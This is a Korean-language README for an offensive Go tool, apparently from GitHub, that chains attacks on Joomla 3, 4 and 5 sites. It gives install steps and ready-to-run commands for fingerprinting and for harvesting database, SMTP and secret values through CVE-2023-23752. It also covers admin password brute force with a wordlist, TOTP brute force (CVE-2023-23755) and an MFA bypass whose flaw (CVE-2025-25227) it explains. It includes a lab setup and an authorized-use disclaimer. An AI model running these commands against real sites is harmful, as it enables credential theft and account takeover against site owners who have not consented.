
현대적인 Joomla 인증 공격 툴킷 J3 / J4 / J5 - CVE-2023-23752 · CVE-2023-23755 · CVE-2025-25227

최신 Joomla 인증 공격 툴킷
J3 / J4 / J5 - CVE-2023-23752 · CVE-2023-23755 · CVE-2025-25227
Joomla CMS 버전 3, 4, 5를 대상으로 하는 자격증명 공격 툴킷입니다. 6개의 하위 명령이 공격 체인 전체를 처음부터 끝까지 처리합니다:
detect - 버전 핑거프린팅 (manifest XML → generator meta → admin 마크업)enum - CVE-2023-23752 인증 없는 API 수집: 사용자명, DB 호스트/사용자/비밀번호, SMTP 자격증명, 애플리케이션 시크릿brute - 워커별 세션 격리 및 4가지 결과 분류(성공 / MFA-필요 / 무효 / 차단)를 적용한 동시 admin 로그인 무차별 대입mfa-brute - CVE-2023-23755 캡티브 MFA 화면을 대상으로 하는 6자리 TOTP 전체 대입 공격mfa-bypass - CVE-2025-25227 반인증 세션에서 view=methods(및 기타 4개 후보 view/task)를 통한 MFA 우회chain - 전체 자동 파일럿: detect → enum → brute → brute가 캡티브 화면에 도달하면 자동 MFA-우회 피벗단일 정적 바이너리, 런타임 의존성 없음. 워커별 쿠키 저장소를 사용하는 네이티브 goroutine 동시성. SIEM 수집용 JSONL 출력. HTTP/HTTPS/SOCKS5 프록시 지원. Joomla 3.10, 4.2.7, 5.4.6 docker 랩에서 엔드투엔드 검증 완료.
# 옵션 A - Go 설치 (Go 1.22+ 필요)
go install github.com/rvzsec/joombrute/cmd/joombrute@latest
# 옵션 B - 릴리스에서 사전 빌드된 바이너리 다운로드
curl -L -o joombrute https://github.com/rvzsec/joombrute/releases/latest/download/joombrute-linux-amd64
chmod +x joombrute
# 옵션 C - 소스에서 빌드
git clone https://github.com/rvzsec/joombrute
cd joombrute
make
joombrute detect -u <대상>
joombrute enum -u <대상>
joombrute brute -u <대상> --user admin -w rockyou.txt -c 20
joombrute mfa-brute -u <대상> --user admin --password <비밀번호> -c 50
joombrute mfa-bypass -u <대상> --user admin --password <비밀번호>
joombrute chain -u <대상> -w rockyou.txt -c 20
# 파이프 / SIEM 수집용 JSONL 출력
joombrute --json brute -u <대상> --user admin -w rockyou.txt > hits.jsonl
CVE-2025-25227은 $onlyCaptive 플래그 없이 isMultiFactorAuthenticationPage()를 호출하는 MultiFactorAuthenticationHandler::needsMultiFactorAuthenticationRedirection()을 악용합니다. 우회 면제 목록에는 MFA 관리 화면(view=methods, view=method, view=callback, task=method.add …)이 조용히 포함되며, 반인증 세션은 캡티브 챌린지를 해결하지 않고도 해당 화면으로 이동할 수 있습니다.
detect - joomla.xml manifest → <meta name="generator"> → admin 마크업 순서로 핑거프린팅enum - CVE-2023-23752 인증 없는 API 수집 (사용자, DB 호스트/사용자/비밀번호, SMTP, 앱 시크릿)brute - admin 폼 무차별 대입, 워커별 세션 격리, 4가지 결과 분류 (success / mfa-required / invalid / blocked)mfa-brute - CVE-2023-23755 캡티브 화면에서 6자리 TOTP 무차별 대입mfa-bypass - CVE-2025-25227 상태 확인 우회 탐지 (비파괴적)chain - 전체 자동화: detect → enum → brute → MFA-우회 탐지make lab # docker compose up + admin 사용자로 J3.10 / J4.2.7 / J5.x 시드
make smoke # 3개 모두에 대한 엔드투엔드 테스트 (MFA 없음)
make lab-mfa # J4 admin에 알려진 TOTP 시크릿 시드 (mfa-* 테스트용)
make smoke-mfa # brute -> mfa-required, mfa-bypass 취약, chain 자동 피벗
make lab-mfa-off # MFA 레코드 제거 (일반 admin으로 복귀)
make lab-down # 전체 종료
랩 설치 프로그램은 Joomla 웹 설치 프로그램을 완전히 우회합니다. 설치 SQL을 MySQL에 직접 로드하고, admin 사용자(admin / admin1234)를 삽입하고, 최소 configuration.php를 작성합니다. seed_mfa.php는 Joomla 자체 AES-128-CBC + 시크릿 키 암호화를 사용하므로 캡티브 엔드포인트가 이를 올바르게 복호화합니다. 랩 전용 - 두 스크립트 모두 lab/docker-compose.yml의 표준 joombrute-* 컨테이너 이름을 가정합니다.
make all
# 정적 링크된 dist/joombrute-{linux,darwin,windows}-{amd64,arm64} 생성
승인된 보안 테스트에만 사용하십시오. 명시적인 서면 허가를 받은 시스템에 대해서만 실행하십시오. 모든 IDS가 탐지할 수 있는 트래픽을 생성합니다. 유지관리자는 오용에 대한 모든 책임을 부인합니다.
Ravindu Wickramasinghe | rvz (@rvzsec) · www.zyenra.com
원본 Joomla 3 brute 개념: @ajnik CVE-2023-23752 체인 연구: VulnCheck
| CVE | 영향을 받는 버전 | 모드 | 패치 버전 | 랩 검증 |
|---|
| CVE-2023-23752 | 4.0.0 - 4.2.7 | enum | 4.2.8 (2023-02) | ✅ J4.2.7 |
| CVE-2023-23755 | 4.2.0 - 4.3.1 | mfa-brute | 4.3.2 (2023-05) | ✅ J4.2.7 |
| CVE-2025-25227 | 4.0.0 - 4.4.12, 5.0.0 - 5.2.5 | mfa-bypass | 4.4.13 / 5.2.6 (2025-04) | ✅ J4.2.7 |